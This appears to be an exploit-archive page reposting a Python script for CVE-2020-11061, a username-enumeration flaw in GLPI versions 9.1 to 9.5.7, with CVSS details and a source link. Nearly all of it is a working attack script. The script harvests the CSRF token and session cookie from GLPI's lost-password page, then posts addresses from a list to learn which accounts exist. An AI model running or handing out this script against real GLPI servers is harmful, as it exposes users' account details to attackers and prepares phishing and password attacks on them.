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GLPI 9.5.7 Username Enumeration

CVE Category Price Severity
CVE-2020-11061 CWE-200 $300 High
Author Risk Exploitation Type Date
Unknown High Remote 2023-05-03
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050002

Below is a copy:

GLPI 9.5.7 Username Enumeration
# Exploit Title: GLPI 9.5.7 - Username Enumeration
# Date: 04/29/2023
# Author: Rafael B.
# Vendor Homepage: https://glpi-project.org/pt-br/
# Affected Versions: GLPI version 9.1 <= 9.5.7
# Software: https://github.com/glpi-project/glpi/releases/download/9.5.7/glpi-9.5.7.tgz


import requests
from bs4 import BeautifulSoup

# Send a GET request to the page to receive the csrf token and the cookie session
response = requests.get('http://127.0.0.1:80/glpi/front/lostpassword.php?lostpassword=1')

# Parse the HTML using BeautifulSoup
soup = BeautifulSoup(response.content, 'html.parser')

# Find the input element with the CSRF token
csrf_input = soup.find('input', {'name': lambda n: n and n.startswith('_glpi_csrf_')})

# Extract the CSRF token if it exists
if csrf_input:
    csrf_token = csrf_input['value']

# Extract the session cookie
session_cookie_value = None
if response.cookies:
    session_cookie_value = next(iter(response.cookies.values()))
# Set the custom url where the GLPI recover password is located 
url = "http://127.0.0.1:80/glpi/front/lostpassword.php"
headers = {"User-Agent": "Windows NT 10.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/glpi/front/lostpassword.php?lostpassword=1", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}

# Open the email list file and read each line
with open('emails.txt', 'r') as f:
    email_list = f.readlines()

# Loop through the email list and make a POST request for each email
for email in email_list:
    email = email.strip()
    data = {"email": email, "update": "Save", "_glpi_csrf_token": csrf_token}
    cookies = {"glpi_f6478bf118ca2449e9e40b198bd46afe": session_cookie_value}
    freq = requests.post(url, headers=headers, cookies=cookies, data=data)

    # Do a new GET request to get the updated CSRF token and session cookie for the next iteration
    response = requests.get('http://127.0.0.1:80/glpi/front/lostpassword.php?lostpassword=1')
    soup = BeautifulSoup(response.content, 'html.parser')
    csrf_input = soup.find('input', {'name': lambda n: n and n.startswith('_glpi_csrf_')})
    if csrf_input:
        csrf_token = csrf_input['value']
    session_cookie_value = None
    if response.cookies: 
        session_cookie_value = next(iter(response.cookies.values()))

    # Parse the response and grep the match e-mails
    soup = BeautifulSoup(freq.content, 'html.parser')
    div_center = soup.find('div', {'class': 'center'})
    Result = (f"Email: {email}, Result: {div_center.text.strip()}")
    if "An email has been sent to your email address. The email contains information for reset your password." in Result:
        print ("\033[1;32m Email Found! -> " + Result)

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